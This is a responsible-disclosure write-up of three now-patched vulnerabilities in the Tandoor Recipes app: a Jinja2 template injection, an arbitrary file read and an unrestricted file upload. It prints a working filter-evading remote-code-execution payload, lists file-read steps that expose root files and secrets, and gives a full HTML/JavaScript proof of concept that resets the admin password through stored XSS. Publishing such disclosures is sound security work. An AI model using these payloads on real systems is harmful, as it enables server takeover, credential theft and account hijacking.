I used 4 hours of my free time (not counting the Responsible Disclosure and Blog Posts…) to “speed pentest” the three biggest and most popular (measured by Github stars) open-source recipe managers.

This included Tandoor Recipes, which had >5800 stars at the time of testing. Here I found 3 vulnerabilities. The first one is a Server-Side Template Injection, through which it was possible to execute commands on the server (Remote Code Execution). The second one is an arbitrary file read vulnerability, that allowed one to read any file on the server. This can be used to obtain various secrets, such as passwords, SSH keys or the Django secret key. The last one is an Unrestricted File Upload, through which it was possible to upload any files. This included HTML and SVG files to achieve Stored XSS.

Overview of the Vulnerabilities

CVENameCVSS Score
CVE-2025-23211Jinja2 Server-Side Template Injection leading to Remote Code Execution9.9 Critical
CVE-2025-23212Arbitrary File Read: Users can read the content of arbitrary files on the server7.7 High
CVE-2025-23213Unrestricted File Upload: Users can upload HTML or SVG files to exploit Stored XSS8.7 High

Remediation

The maintainer reacted quickly and professionally. All three vulnerabilities are fixed in Tandoor Recipes version 1.5.28.

Vulnerabilities in Detail

[CVE-2025-23211] Jinja2 Server-Side Template Injection leading to Remote Code Execution (9.9 Critical)

Users can create recipes and specify instructions for a recipe. The instructions support Jinja2 Template Expression in order to dynamically update e.g. ingredient names and amounts. As this is implemented insecurely, it is possible to achieve Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE).

Tandoor1

The payload {{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('whoami',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}} executes the command whoami on the server.

Tandoor2

As we can see, we can execute commands as the root user!

Tandoor3

Reading the environment variables, we can enumerate the Postgres password as well as the SECRET_KEY used by django.

But why is the SSTI payload so long and cryptic? Getting to the point of achieving RCE wasn’t as simple as taking a Hacktricks/PayloadAllTheThings payload and pasting it, but took some time. This is gonna be a long one, but it’s worth it. Trust me.

While this is an open-source project and we could simply look at it’s code to see that it is using Jinja2 as template engine, I want to approach it from a black box perspective.

To detect the template injection and to identify the template engine, we gonna use the Template Injection Table that I’ve created during my master’s thesis (I know, shameless plug…).

First, we’ll use the universal polyglot <%'${{/#{@}}%>{{ which throws an error for all 44 template engines I’ve analyzed.

Tandoor4

As we can see, an error is thrown. Unfortunately for us, the error was caught and only a generic error message is displayed. Otherwise Jinja2 would have revealed itself already. So we need to continue identifying the template engine. Since we can see the output of the template engine, we can use the ‘Toggle Error-Based Polyglots’ button to hide the error-based polyglots, as the non-error-based ones are more efficient for identifying a template engine.

Tandoor5

We are goint to use the first three universal non-error-based polyglots in order to filter out possible template engines. E.g. when using the first one p ">[[${{1}}]] we receive the output p ">[[$1]]

Tandoor6

Just with these three polyglots, we were able to filter out 34 template engines, leaving us with 10 left

Tandoor7

Using the specific non-error-based polyglots {#${{1}}#}}, <%=1%>#{2}{{a}} and {{1in[1]}} leaves only Jinja2 as possible template engine!

Tandoor8

To exploit the SSTI, we need to create a gadget chain. As a first step for that, we need to be able to access global objects and to recover the <class 'object'>.

However, using the examples from hacktricks, such as [].__class__ will result in an error.

So let’s check (remember, from a black box perspective) what is happening here. When we use {{ "{{ [].__class__ }}" }} in order to let Jinja2 to just print {{ [].__class__ }} as a string, we see that __ is being converted to <strong>.

Tandoor9

That’s because markdown is allowed as input and being converted to html! This renders a few needed special characters useless. Among others, we cannot use _, *, `, []().

However, there is still a way to achieve RCE (as you already know :)):

We can use hexencoded underscores (\x5f) if we use Jinja2’s attr filter. So instead of {{ [].__class__ }} we are using {{ []|attr('\x5f\x5fclass\x5f\x5f') }}

Tandoor10

We succesfully accessed the global list object!

The next step is now to recover <class 'object'> with {{ []|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f') }}

Tandoor12

Done! That’s ez, right? However, when we try to recover all subclasses we receive an error!

Tandoor13

Otherwise, we would have seen a list of all available subclasses. Nonetheless, we can enumerate specific subclasses with getitem({SUBCLASS_ID}). Let’s do that with the first subclass unsing {{ []|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(0) }}

Tandoor14

The type subclass is not that exciting, right? But what’s exciting is the subprocess.Popen subclass, because it allows us to run arbitrary commands on the server! However, there are hundreds if not thousands of subclasses available.

Tandoor15

So let’s bruteforce the right id.

Tandoor16

We can see that subprocess.Popen has the id 418!

Tandoor17

Now we can use that to create our final payload which we can use to run arbitrary commands on the server: {{[]|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(418)('whoami',shell=True,stdout=-1)|attr('communicate')()|attr('\x5f\x5fgetitem\x5f\x5f')(0)|attr('decode')('utf-8')}}

(The |attr('decode')('utf-8') pipe makes sure that the output is properly formatted, so that not everything is embedded between ' and '>…)

[CVE-2025-23212] Arbitrary Fileread: Users can read the content of arbitrary files on the server (7.7 High)

Every user has access to “External Recipes”, where they can manage storage folder locations.

Tandoor18

So let’s configure an external storage.

Tandoor19

We can create a new Storage Backend.

Tandoor20

Here we choose Local as Method and specify an arbitrary name, e.g. Insecure

Tandoor21

Now, back at the External Recipes page, we can specify can choose the just created local storage and specify a path.

Tandoor22

If we specfiy a path which does not exist on the server and try to sync the folder, we receive a FileNotFoundError

Tandoor23

Now let’s specify /root as path and sync again

Tandoor24

We can see the filenames of all files the root directory contains! If it is a pdf file, we can view it in the frontend after importing it as a recipe.

Tandoor25

Files which are not PDF files, won’t get shown by the frontend. However, we can use the API endpoint GET /api/get_recipe_file/{ID}/ in order to receive the contents.

Tandoor26

In this case, we can see the content of the /root/.ash_history file, which contains the commands the root user ran.

[CVE-2025-23213] Unrestricted File Upload: Users can upload HTML or SVG files to exploit Stored XSS (8.7 High)

Tandoor has a file upload functionality that every user is allowed to use. Here is a Proof-of-Concept (PoC) HTML file which can be uploaded in order to change the password of the admin user, if they view it.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Automated Request</title>
</head>
<body>
    <h1 id="status">Loading...</h1>
    <script>
        // Function to perform the GET request to fetch the CSRF token
        async function fetchCsrfToken() {
            try {
                const response = await fetch('/admin/auth/user/1/password/', {
                    method: 'GET',
                    credentials: 'include' // Include cookies for authentication
                });
                const text = await response.text();

                // Check if the response contains the "not authorized" message
                if (text.includes('not authorized to access this page')) {
                    throw new Error('not authorized');
                }

                // Extract the CSRF token from the response using a regular expression
                const csrfTokenMatch = text.match(/<input type="hidden" name="csrfmiddlewaretoken" value="(.*?)">/);
                
                if (csrfTokenMatch && csrfTokenMatch[1]) {
                    return csrfTokenMatch[1]; // Return the extracted CSRF token
                } else {
                    throw new Error('CSRF token not found');
                }
            } catch (error) {
                throw error; // Propagate the error to handle it in the main function
            }
        }

        // Function to perform the POST request to update the password
        async function changePassword(csrfToken) {
            const formData = new URLSearchParams();
            formData.append('csrfmiddlewaretoken', csrfToken);
            formData.append('username', 'admin');
            formData.append('password1', 'NewPassword123');
            formData.append('password2', 'NewPassword123');

            try {
                const response = await fetch('/admin/auth/user/1/password/', {
                    method: 'POST',
                    credentials: 'include', // Include cookies for authentication
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded'
                    },
                    body: formData.toString()
                });

                if (response.ok) {
                    return true; // Password update was successful
                } else {
                    throw new Error('Failed to update password');
                }
            } catch (error) {
                throw new Error('Error changing password: ' + error.message);
            }
        }

        // Main function to execute both requests sequentially
        (async function execute() {
            try {
                // Step 1: Fetch the CSRF token
                const csrfToken = await fetchCsrfToken();

                // Step 2: Use the CSRF token to update the password
                const result = await changePassword(csrfToken);

                // Update the page status based on the result
                if (result) {
                    document.getElementById('status').textContent = 'Password updated successfully!';
                }
            } catch (error) {
                // Check if the error is due to "not authorized"
                if (error.message === 'not authorized') {
                    document.getElementById('status').textContent = 'You are not an admin. Send this link to an admin user.';
                } else {
                    // Display other error messages on the page
                    document.getElementById('status').textContent = 'Error: ' + error.message;
                }
            }
        })();
    </script>
</body>
</html>

The File Upload feature has no restrictions on the files that can be uploaded.

Tandoor27

However, the filenames are changed to a random UUIDv4 and the filename is not disclosed immediately. To know the filename of our uploaded file we need to specify the file as Custom Theme or as Logo

Tandoor28

This way, it is referenced in HTML responses returned by tandoor, revealing its path.

Tandoor29

The PoC, if visited, checks whether the user has administrative privileges or not.

Tandoor30

If the user has administrative privileges, the password of the admin user is changed to NewPassword123

Tandoor31

Now we can login as the administrator.

Tandoor32

Timeline

DateEvent
2024-11-25Discovered the vulnerabilities
2024-11-26Reported the vulnerabilites
2024-11-26Maintainer acknowledged the vulnerabilities thankfully
2024-11-26Maintainer fixed the critical SSTI vulnerability in version 1.5.24
2024-11-26Provided further input on possible countermeasures
2025-01-17Reminded the maintainer about the remaining two vulnerabilities
2025-01-17Maintainer fixed the remaining two vulnerabilitites in version 1.5.28
2025-01-17Maintainer requested CVEs through GitHub Security Advisories
2025-01-20CVEs were reserved
2025-01-28Security Advisories were published